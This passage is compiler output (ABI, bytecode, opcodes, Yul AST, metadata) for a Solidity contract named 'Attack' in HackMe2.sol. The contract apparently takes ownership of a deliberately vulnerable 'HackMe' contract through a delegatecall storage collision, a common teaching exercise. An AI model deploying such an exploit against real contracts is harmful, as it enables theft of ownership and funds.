"src": "3385:132:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "3395:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "3407:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3418:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3403:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3403:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "3395:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "3483:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "3496:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3507:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3492:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3492:17:1"
}
],
"functionName": {
"name": "abi_encode_t_rational_1_by_1_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "3431:51:1"
},
"nodeType": "YulFunctionCall",
"src": "3431:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "3431:79:1"
}
]
},
"name": "abi_encode_tuple_t_rational_1_by_1__to_t_uint256__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "3357:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "3369:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "3380:4:1",
"type": ""
}
],
"src": "3279:238:1"
}
]
},
"contents": "{\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function identity(value) -> ret {\n ret := value\n }\n\n function convert_t_uint160_to_t_uint160(value) -> converted {\n converted := cleanup_t_uint160(identity(cleanup_t_uint160(value)))\n }\n\n function convert_t_uint160_to_t_address(value) -> converted {\n converted := convert_t_uint160_to_t_uint160(value)\n }\n\n function convert_t_contract$_HackMe_$52_to_t_address(value) -> converted {\n converted := convert_t_uint160_to_t_address(value)\n }\n\n function abi_encode_t_contract$_HackMe_$52_to_t_address_fromStack(value, pos) {\n mstore(pos, convert_t_contract$_HackMe_$52_to_t_address(value))\n }\n\n function abi_encode_tuple_t_contract$_HackMe_$52__to_t_address__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_contract$_HackMe_$52_to_t_address_fromStack(value0, add(headStart, 0))\n\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function abi_encode_t_address_to_t_address_fromStack(value, pos) {\n mstore(pos, cleanup_t_address(value))\n }\n\n function abi_encode_tuple_t_address__to_t_address__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_address_to_t_address_fromStack(value0, add(headStart, 0))\n\n }\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function validator_revert_t_uint256(value) {\n if iszero(eq(value, cleanup_t_uint256(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_uint256(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_uint256(value)\n }\n\n function abi_decode_tuple_t_uint256(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_uint256(add(headStart, offset), dataEnd)\n }\n\n }\n\n function cleanup_t_rational_1_by_1(value) -> cleaned {\n cleaned := value\n }\n\n function convert_t_rational_1_by_1_to_t_uint256(value) -> converted {\n converted := cleanup_t_uint256(identity(cleanup_t_rational_1_by_1(value)))\n }\n\n function abi_encode_t_rational_1_by_1_to_t_uint256_fromStack(value, pos) {\n mstore(pos, convert_t_rational_1_by_1_to_t_uint256(value))\n }\n\n function abi_encode_tuple_t_rational_1_by_1__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_rational_1_by_1_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50600436106100625760003560e01c806375efcec5146100675780638da5cb5b1461008557806392801230146100a3578063931c9b99146100c15780639e5faafc146100df578063a6b206bf146100e9575b600080fd5b61006f610105565b60405161007c9190610371565b60405180910390f35b61008d61012b565b60405161009a91906103ad565b60405180910390f35b6100ab610151565b6040516100b891906103ad565b60405180910390f35b6100c9610175565b6040516100d691906103e1565b60405180910390f35b6100e761017b565b005b61010360048036038101906100fe919061042d565b6102ae565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a6b206bf3073ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016101ec91906103e1565b600060405180830381600087803b15801561020657600080fd5b505af115801561021a573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a6b206bf60016040518263ffffffff1660e01b815260040161027a9190610495565b600060405180830381600087803b15801561029457600080fd5b505af11580156102a8573d6000803e3d6000fd5b50505050565b33600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061033761033261032d846102f2565b610312565b6102f2565b9050919050565b60006103498261031c565b9050919050565b600061035b8261033e565b9050919050565b61036b81610350565b82525050565b60006020820190506103866000830184610362565b92915050565b6000610397826102f2565b9050919050565b6103a78161038c565b82525050565b60006020820190506103c2600083018461039e565b92915050565b6000819050919050565b6103db816103c8565b82525050565b60006020820190506103f660008301846103d2565b92915050565b600080fd5b61040a816103c8565b811461041557600080fd5b50565b60008135905061042781610401565b92915050565b600060208284031215610443576104426103fc565b5b600061045184828501610418565b91505092915050565b6000819050919050565b600061047f61047a6104758461045a565b610312565b6103c8565b9050919050565b61048f81610464565b82525050565b60006020820190506104aa6000830184610486565b9291505056fea2646970667358221220cac09679e97f3dc68e9b43eb9b190ae714fb92d0d311d113fcaf4cf7febba25a64736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x62 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x75EFCEC5 EQ PUSH2 0x67 JUMPI DUP1 PUSH4 0x8DA5CB5B EQ PUSH2 0x85 JUMPI DUP1 PUSH4 0x92801230 EQ PUSH2 0xA3 JUMPI DUP1 PUSH4 0x931C9B99 EQ PUSH2 0xC1 JUMPI DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0xDF JUMPI DUP1 PUSH4 0xA6B206BF EQ PUSH2 0xE9 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x6F PUSH2 0x105 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x7C SWAP2 SWAP1 PUSH2 0x371 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x8D PUSH2 0x12B JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x9A SWAP2 SWAP1 PUSH2 0x3AD JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0xAB PUSH2 0x151 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0xB8 SWAP2 SWAP1 PUSH2 0x3AD JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0xC9 PUSH2 0x175 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0xD6 SWAP2 SWAP1 PUSH2 0x3E1 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0xE7 PUSH2 0x17B JUMP JUMPDEST STOP JUMPDEST PUSH2 0x103 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0xFE SWAP2 SWAP1 PUSH2 0x42D JUMP JUMPDEST PUSH2 0x2AE JUMP JUMPDEST STOP JUMPDEST PUSH1 0x3 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x1 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 JUMP JUMPDEST PUSH1 0x2 SLOAD DUP2 JUMP JUMPDEST PUSH1 0x3 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xA6B206BF ADDRESS PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x1EC SWAP2 SWAP1 PUSH2 0x3E1 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x206 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x21A JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP PUSH1 0x3 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xA6B206BF PUSH1 0x1 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x27A SWAP2 SWAP1 PUSH2 0x495 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x294 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x2A8 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMP JUMPDEST CALLER PUSH1 0x1 PUSH1 0x0 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x337 PUSH2 0x332 PUSH2 0x32D DUP5 PUSH2 0x2F2 JUMP JUMPDEST PUSH2 0x312 JUMP JUMPDEST PUSH2 0x2F2 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x349 DUP3 PUSH2 0x31C JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x35B DUP3 PUSH2 0x33E JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x36B DUP2 PUSH2 0x350 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x386 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x362 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x397 DUP3 PUSH2 0x2F2 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x3A7 DUP2 PUSH2 0x38C JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x3C2 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x39E JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x3DB DUP2 PUSH2 0x3C8 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x3F6 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x3D2 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x40A DUP2 PUSH2 0x3C8 JUMP JUMPDEST DUP2 EQ PUSH2 0x415 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x427 DUP2 PUSH2 0x401 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x443 JUMPI PUSH2 0x442 PUSH2 0x3FC JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x451 DUP5 DUP3 DUP6 ADD PUSH2 0x418 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x47F PUSH2 0x47A PUSH2 0x475 DUP5 PUSH2 0x45A JUMP JUMPDEST PUSH2 0x312 JUMP JUMPDEST PUSH2 0x3C8 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x48F DUP2 PUSH2 0x464 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x4AA PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x486 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xCA 0xC0 SWAP7 PUSH26 0xE97F3DC68E9B43EB9B190AE714FB92D0D311D113FCAF4CF7FEBB LOG2 GAS PUSH5 0x736F6C6343 STOP ADDMOD 0xC STOP CALLER ",
"sourceMap": "502:714:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;727:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;672;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;648:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;698:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;829:252;;;:::i;:::-;;1145:69;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;727:20;;;;;;;;;;;;;:::o;672:::-;;;;;;;;;;;;;:::o;648:18::-;;;;;;;;;;;;:::o;698:22::-;;;;:::o;829:252::-;899:6;;;;;;;;;;;:18;;;939:4;918:28;;899:48;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1053:6;;;;;;;;;;;:18;;;1072:1;1053:21;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;829:252::o;1145:69::-;1197:10;1189:5;;:18;;;;;;;;;;;;;;;;;;1145:69;:::o;7:126:1:-;44:7;84:42;77:5;73:54;62:65;;7:126;;;:::o;139:60::-;167:3;188:5;181:12;;139:60;;;:::o;205:142::-;255:9;288:53;306:34;315:24;333:5;315:24;:::i;:::-;306:34;:::i;:::-;288:53;:::i;:::-;275:66;;205:142;;;:::o;353:126::-;403:9;436:37;467:5;436:37;:::i;:::-;423:50;;353:126;;;:::o;485:139::-;548:9;581:37;612:5;581:37;:::i;:::-;568:50;;485:139;;;:::o;630:157::-;730:50;774:5;730:50;:::i;:::-;725:3;718:63;630:157;;:::o;793:248::-;899:4;937:2;926:9;922:18;914:26;;950:84;1031:1;1020:9;1016:17;1007:6;950:84;:::i;:::-;793:248;;;;:::o;1047:96::-;1084:7;1113:24;1131:5;1113:24;:::i;:::-;1102:35;;1047:96;;;:::o;1149:118::-;1236:24;1254:5;1236:24;:::i;:::-;1231:3;1224:37;1149:118;;:::o;1273:222::-;1366:4;1404:2;1393:9;1389:18;1381:26;;1417:71;1485:1;1474:9;1470:17;1461:6;1417:71;:::i;:::-;1273:222;;;;:::o;1501:77::-;1538:7;1567:5;1556:16;;1501:77;;;:::o;1584:118::-;1671:24;1689:5;1671:24;:::i;:::-;1666:3;1659:37;1584:118;;:::o;1708:222::-;1801:4;1839:2;1828:9;1824:18;1816:26;;1852:71;1920:1;1909:9;1905:17;1896:6;1852:71;:::i;:::-;1708:222;;;;:::o;2017:117::-;2126:1;2123;2116:12;2263:122;2336:24;2354:5;2336:24;:::i;:::-;2329:5;2326:35;2316:63;;2375:1;2372;2365:12;2316:63;2263:122;:::o;2391:139::-;2437:5;2475:6;2462:20;2453:29;;2491:33;2518:5;2491:33;:::i;:::-;2391:139;;;;:::o;2536:329::-;2595:6;2644:2;2632:9;2623:7;2619:23;2615:32;2612:119;;;2650:79;;:::i;:::-;2612:119;2770:1;2795:53;2840:7;2831:6;2820:9;2816:22;2795:53;:::i;:::-;2785:63;;2741:117;2536:329;;;;:::o;2871:85::-;2916:7;2945:5;2934:16;;2871:85;;;:::o;2962:158::-;3020:9;3053:61;3071:42;3080:32;3106:5;3080:32;:::i;:::-;3071:42;:::i;:::-;3053:61;:::i;:::-;3040:74;;2962:158;;;:::o;3126:147::-;3221:45;3260:5;3221:45;:::i;:::-;3216:3;3209:58;3126:147;;:::o;3279:238::-;3380:4;3418:2;3407:9;3403:18;3395:26;;3431:79;3507:1;3496:9;3492:17;3483:6;3431:79;:::i;:::-;3279:238;;;;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "250800",
"executionCost": "infinite",
"totalCost": "infinite"
},
"external": {
"attack()": "infinite",
"doSomething(uint256)": "24760",
"hackMe()": "infinite",
"lib()": "2533",
"owner()": "2514",
"someNumber()": "2473"
}
},
"methodIdentifiers": {
"attack()": "9e5faafc",
"doSomething(uint256)": "a6b206bf",
"hackMe()": "75efcec5",
"lib()": "92801230",
"owner()": "8da5cb5b",
"someNumber()": "931c9b99"
}
},
"abi": [
{
"inputs": [
{
"internalType": "contract HackMe",
"name": "_hackMe",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"name": "doSomething",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "hackMe",
"outputs": [
{
"internalType": "contract HackMe",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "lib",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "someNumber",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
}
]
}
{
"compiler": {
"version": "0.8.12+commit.f00d7308"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [
{
"internalType": "contract HackMe",
"name": "_hackMe",
"type": "address"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"name": "doSomething",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "hackMe",
"outputs": [
{
"internalType": "contract HackMe",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "lib",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "owner",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "someNumber",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/HackMe2.sol": "Attack"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/HackMe2.sol": {
"keccak256": "0x177c48b8e3b56fca711f3fda1b3aa49d6a3c002a4202221a57a7e353a3df376d",
"license": "MIT",
"urls": [
"bzz-raw://03a19c4b0e7e76acc0295faa0002c5e6e1830aacf629afcc8e06f4a67e71049f",
"dweb:/ipfs/QmdEGuNqdNzBmWePmGqnJSTraQWAwEgR7FpijbwP8dvTyJ"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {
"@_35": {
"entryPoint": null,
"id": 35,
"parameterSlots": 1,
"returnSlots": 0
},
"abi_decode_t_address_fromMemory": {
"entryPoint": 263,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_address_fromMemory": {
"entryPoint": 284,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"cleanup_t_address": {
"entryPoint": 222,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 190,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 185,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"validator_revert_t_address": {
"entryPoint": 240,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:1199:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "47:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "57:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "73:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "67:5:1"
},
"nodeType": "YulFunctionCall",
"src": "67:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "57:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "40:6:1",
"type": ""
}
],
"src": "7:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "177:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "194:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "197:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "187:6:1"
},
"nodeType": "YulFunctionCall",
"src": "187:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "187:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "88:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "300:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "317:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "320:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "310:6:1"
},
"nodeType": "YulFunctionCall",
"src": "310:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "310:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "211:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "379:81:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "389:65:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "404:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "411:42:1",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "400:3:1"
},
"nodeType": "YulFunctionCall",
"src": "400:54:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "389:7:1"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "361:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "371:7:1",
"type": ""
}
],
"src": "334:126:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "511:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "521:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "550:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "532:17:1"
},
"nodeType": "YulFunctionCall",
"src": "532:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "521:7:1"
}
]
}
]
},
"name": "cleanup_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "493:5:1",
"type": ""
}
],
